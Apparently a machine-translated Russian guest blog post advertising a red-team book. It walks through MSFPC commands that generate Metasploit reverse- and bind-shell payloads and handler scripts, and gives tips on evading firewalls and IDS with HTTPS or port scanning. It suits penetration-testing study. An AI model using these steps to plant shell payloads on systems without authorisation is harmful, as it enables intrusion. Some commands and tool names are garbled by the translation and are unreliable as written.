Создатель полезной нагрузки MSFvenom для Red Team Tactics
Узнайте о программе MSFvenom Payload Creator из этого гостевого поста Химаншу Шармы, соавтора Практическая тактика красной команды.
MSFvenom Payload Creator (MSFPC) — это удобный генератор нескольких полезных нагрузок, который можно использовать для создания полезных нагрузок Metasploit на основе выбранных пользователем параметров. Пользователю больше не нужно выполнять длинные команды msfvenom для создания полезной нагрузки. С MSFPC пользователь может генерировать полезные нагрузки с гораздо меньшим количеством команд.
Перед загрузкой инструмента в системе должен быть установлен Metasploit. MSFPC — это всего лишь простой сценарий bash, что означает, что его можно выполнять в системах * nix.
Вы можете загрузить пакет MSFPC из. Вы можете загрузить репозиторий в ZIP-файле или клонировать репозиторий в своей локальной системе, выполнив следующую команду:
git clone
После клонирования репозитория дайте разрешение на выполнение файла msfpc.sh.
cdmpc/
chmod +x msfpc.sh
./msfpc.sh
./msfpc.sh <TYPE> (<DOMAIN/IP>) (<PORT>) (<CMD/MSF>) (<BIND/REVERSE>) (<STAGED/STAGELESS>) (<TCP/HTTP/HTTPS/FIND_PORT>) (<BATCH/LOOP>) (<VERBOSE>)
• ТИП. Полезная нагрузка может иметь любой из следующих форматов (эта опция аналогична ключу -f в msfvenom): APK [android]ASP, ASPX, Баш [.sh]Ява [.jsp]линукс [.elf]ОС X [.macho]Перл [.pl]PHP, Пауэршелл [.ps1]Питон [.py]Кот [.war]Окна [.exe //.dll].
• ДОМЕН/IP: это параметр LHOST при создании полезной нагрузки в msfvenom.
• PORT: это параметр LPORT при создании полезной нагрузки в msfvenom.
• CMD/MSF: этот тип оболочки удаляется после выполнения полезной нагрузки в целевой системе. Параметр CMD можно использовать, когда вы хотите получить стандартную командную оболочку; то есть оболочка командной строки (cmd.exe) для Windows и терминал (/bin/bash) для *nix. В некоторых случаях, когда размер шелл-кода имеет значение, лучше использовать классическую полезную нагрузку обратного шелла. CMD можно использовать в подобных ситуациях.
Создание простой классической полезной нагрузки обратной оболочки можно выполнить, выполнив следующую команду:
sh msfpc.sh cmd windows en0
Предыдущая команда сгенерирует полезную нагрузку с cmd в качестве предпочтительной оболочки для Windows и установит LHOST на IP-адрес, полученный из интерфейса en0 Ethernet:
Как видно из предыдущего снимка экрана, MSFPC создал два файла в одном каталоге:
• Исполняемая полезная нагрузка: windows-shell-staged-reverse-tcp-443.exe.
• Файл ресурсов: windows-shell-staged-reverse-tcp-443-exe.rc.
Соглашение об именах файлов легко понять, поскольку они названы в соответствии с параметрами, использованными при создании. Поэтапный исполняемый файл Windows при выполнении на целевом сервере подключится обратно к нашей системе (обратное соединение) через наш локальный порт 443 и сбросит нам оболочку командной строки — отсюда и название, windows-shell-staged-reverse-tcp-443.exe. . Лучше иметь обратную оболочку, а не оболочку привязки.
Файл ресурсов
Как объясняется в документации Metasploit (скрипты ресурсов предоставляют вам простой способ автоматизировать повторяющиеся задачи в Metasploit.
Концептуально они аналогичны пакетным сценариям. Они содержат набор команд, которые автоматически и последовательно выполняются при загрузке скрипта в Metasploit. Вы можете создать сценарий ресурса, объединив ряд консольных команд Metasploit и напрямую внедрив Ruby для выполнения таких действий, как вызов API, взаимодействие с объектами в базе данных и повторение действий.
Проверьте файл .rc, созданный MSFPC в предыдущей команде:
Полезная нагрузка устанавливается в windows/shell/reverse_tcp при использовании параметра CMD.
Опция msf генерирует полезную нагрузку с пользовательской кроссплатформенной оболочкой, которая использует весь потенциал Metasploit:
sh msfpc.sh msf windows en0
Если вы посмотрите на файл .rc, сгенерированный из MSFPC при использовании параметра msf, вы увидите разницу в полезной нагрузке, используемой обработчиком полезной нагрузки:
Полезная нагрузка устанавливается в windows/meterpreter/reverse_tcp, когда используется опция MSF. Файл ресурсов можно запустить с помощью msfconsole, используя следующую команду:
msfconsole -q -r 'windows-meterpreter-staged-reverse-tcp-443-exe.rc'
Где:
• -q используется для тихого режима (бесполезно искать баннер MSF)
• -r используется для файла ресурсов
После выполнения полезной нагрузки стейджер запросит отправку других частей полезной нагрузки на целевой сервер. Эти части полезной нагрузки будут отправлены обработчиком полезной нагрузки, а полная поэтапная полезная нагрузка будет доставлена жертве:
Обратите внимание, что полезная нагрузка, которую мы использовали в предыдущем изображении, основана на архитектуре x86, но система имеет архитектуру x64. Рекомендуется, чтобы полезная нагрузка соответствовала той же архитектуре, что и операционная система.
В Metasploit мы можем либо перейти с процесса на основе x86 на процесс на основе x64, либо мы можем использовать пост-модуль Metasploit post/windows/manage/archmigrate для перехода с архитектуры x86 на x64.
• BIND/REVERSE: тип соединения, которое должно быть выполнено после выполнения полезной нагрузки в целевой системе.
• BIND: Это соединение оболочки открывает порт на целевом сервере и подключается к нему. Получить соединение BIND очень редко, так как входные (входящие) правила брандмауэра блокируют порты на целевом сервере.
./msfpc.sh bindmsf windows en0
Предыдущая команда сгенерирует полезную нагрузку измерителя Windows, которая откроет порт на целевом сервере и будет прослушивать соединение привязки от нашего обработчика полезной нагрузки после выполнения полезной нагрузки.
Порт может быть недоступен для подключения из-за брандмауэра. В этой ситуации вы можете выбрать полезную нагрузку обратной оболочки, которая будет обходить набор правил брандмауэра для исходящего соединения и подключаться обратно к нашей системе.
Из двух файлов, сгенерированных MSFPC, давайте проверим для этого файл .rc:
Для полезной нагрузки установлено значение windows/meterpreter/bind_tcp вместо reverse_tcp, что показывает, что обработчик полезной нагрузки будет использовать соединение BIND для подключения к целевому серверу.
• REVERSE: это соединение оболочки откроет порт на машине злоумышленника. Как только полезная нагрузка будет выполнена, целевой сервер снова подключится к злоумышленнику. Получить ОБРАТНОЕ соединение — это очень хороший способ обойти блокировку входящего брандмауэра, но этот метод можно заблокировать, если действуют правила исходящего (исходящего) брандмауэра. По умолчанию MSFPC будет генерировать полезную нагрузку с подключением оболочки REVERSE.
• STAGED/STAGELESS: тип используемой полезной нагрузки.
• STAGED: это тип полезной нагрузки, который отправляет полезную нагрузку в несколько этапов, что делает ее меньше по размеру, но он полагается на обработчик полезной нагрузки Metasploit для отправки оставшихся частей на целевой сервер. По умолчанию MSFPC создает поэтапную полезную нагрузку.
• БЕССТУПЕНЧАТАЯ: это полная полезная нагрузка, более стабильная и надежная, чем полезная нагрузка STAGED, но размер полезной нагрузки этого типа слишком велик по сравнению со STAGED:
./msfpc.sh cmdstageless bind windows en0
Предыдущая команда будет генерировать бесстадийную исполняемую полезную нагрузку Windows при выполнении. Он откроет порт в целевой системе и прослушивает соединение BIND, чтобы получить стандартную командную строку:
Давайте проверим файл .rc, сгенерированный предыдущей командой:
В качестве полезной нагрузки задано значение windows/shell_bind_tcp, которое является бесстадийной полезной нагрузкой.
Поэтапная полезная нагрузка в Metasploit будет иметь вид windows/shell/bind_tcp.
• TCP/HTTP/HTTPS/FIND_PORT: метод связи, требуемый полезной нагрузкой для связи с обработчиком полезной нагрузки.
• TCP: это стандартный метод связи после выполнения полезной нагрузки на целевом сервере. Этот метод связи можно использовать с любым типом полезной нагрузки и формата полезной нагрузки, но он может быть легко обнаружен IDS и заблокирован брандмауэрами и IPS из-за его незашифрованного характера.
• HTTP: если этот параметр используется MSFPC, полезная нагрузка будет использовать HTTP в качестве метода связи. Вместо обмена данными через какой-либо заданный TCP-порт полезные данные будут передаваться через порт 80. Этот параметр можно использовать для обхода брандмауэров, если в целевой системе открыт только порт 80. Это может быть обнаружено IDS и заблокированным IPS из-за его незашифрованного характера.
• HTTPS: этот параметр используется при создании полезной нагрузки, которая будет использовать связь SSL. Рекомендуется использовать эту опцию для скрытых обратных подключений.
• FIND_PORT: Этот параметр используется, когда мы не можем получить обратное соединение с общих портов (80, 443, 53, 21). Если этот параметр установлен, MSFPC будет генерировать полезную нагрузку, которая попытается установить связь со всеми портами 1-65535.
• BATCH/LOOP: MSFPC может генерировать несколько полезных нагрузок (несколько платформ ОС) с помощью одной команды. Этого можно достичь, используя либо режим BATCH, либо режим LOOP.
• ПАКЕТНЫЙ режим. В ПАКЕТНОМ режиме MSFPC может генерировать несколько полезных данных с максимально возможным количеством комбинаций типов полезных данных:
./msfpc batch windows en0
MSFPC сгенерировал всю комбинацию полезной нагрузки только для Windows (как указано в параметрах) с соответствующими файлами ресурсов (.rc):
• Режим LOOP: этот режим может генерировать несколько полезных нагрузок всех типов. MSFPC также может генерировать все полезные данные для данного LHOST. Это может быть полезно в среде, где у нас нет точных знаний об операционной системе платформы. Полезные нагрузки могут быть сгенерированы с помощью следующей команды:
./msfpc.sh loop 192.168.10.122
MSFPC создает полезные данные со значениями DEFAULT для всех типов полезных данных с соответствующими файлами ресурсов (.rc):
• VERBOSE: этот параметр используется, если вы хотите получить дополнительную информацию о том, какие значения используются MSFPC при создании полезной нагрузки:
./msfpc.sh loop 192.168.10.122 8080 verbose
В этом случае режим LOOP используется для генерации полезной нагрузки с LPORT, установленным на 8080.
Функции инструмента обновляются и поддерживаются его репозиторием. Настоятельно рекомендуется каждые две недели проверять наличие обновлений инструментов в Интернете.
Надеюсь, вам понравилось читать эту статью. Если вы хотите узнать больше о тактике кибербезопасности, вы можете изучить Практическая тактика красной команды. Благодаря практическому практическому подходу книга знакомит вас со всеми концепциями и нюансами работы красной команды, чтобы вы могли эффективно реализовать их и обеспечить высокий уровень безопасности своих систем. Вы можете получить все книги Packt всего за 5 долларов до 21 января 2019 года. Так чего же вы ждете? Воспользуйтесь предложением сегодня и станьте выдающимся ИТ-специалистом!